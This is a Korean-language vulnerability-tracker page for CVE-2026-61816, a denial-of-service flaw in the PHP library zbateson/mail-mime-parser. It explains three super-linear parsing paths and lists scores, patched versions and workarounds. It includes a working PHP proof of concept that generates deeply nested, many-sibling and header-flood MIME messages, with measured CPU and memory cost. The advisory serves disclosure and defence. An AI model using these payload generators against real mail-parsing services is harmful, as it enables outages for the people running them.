Kestrel
대시보드로 돌아가기
CVE-2026-61816HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 09. 24.수정일: 2026. 09. 24.

zbateson/mail-mime-parser has uncontrolled resource consumption (CPU/memory DoS) parsing untrusted MIME

DoS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
—

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

  1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
  2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
  3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

bash
1composer require zbateson/mail-mime-parser
2
3<?php
4require 'vendor/autoload.php';
5use ZBateson\MailMimeParser\MailMimeParser;
6
7function nestedMessage(int $depth): string {
8 $head = ''; $tail = '';
9 for ($i = 0; $i < $depth; $i++) {
10 $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
11 }
12 return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
13}
14function siblingMessage(int $n): string {
15 return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
16 . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
17}
18function headerMessage(int $n): string {
19 return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
20}
21function measure(string $label, string $raw): void {
22 $t = microtime(true);
23 count((new MailMimeParser())->parse($raw, false)->getAllParts());
24 printf("%-22s input=%5.2f MB time=%6.2f s peak=%6.1f MB\n",
25 $label, strlen($raw) / 1048576, microtime(true) - $t,
26 memory_get_peak_usage(true) / 1048576);
27}
28
29measure('nesting depth=2000', nestedMessage(2000));
30measure('siblings=50000', siblingMessage(50000));
31measure('headers=300000', headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php
// nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB
// siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB
// headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

  • Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.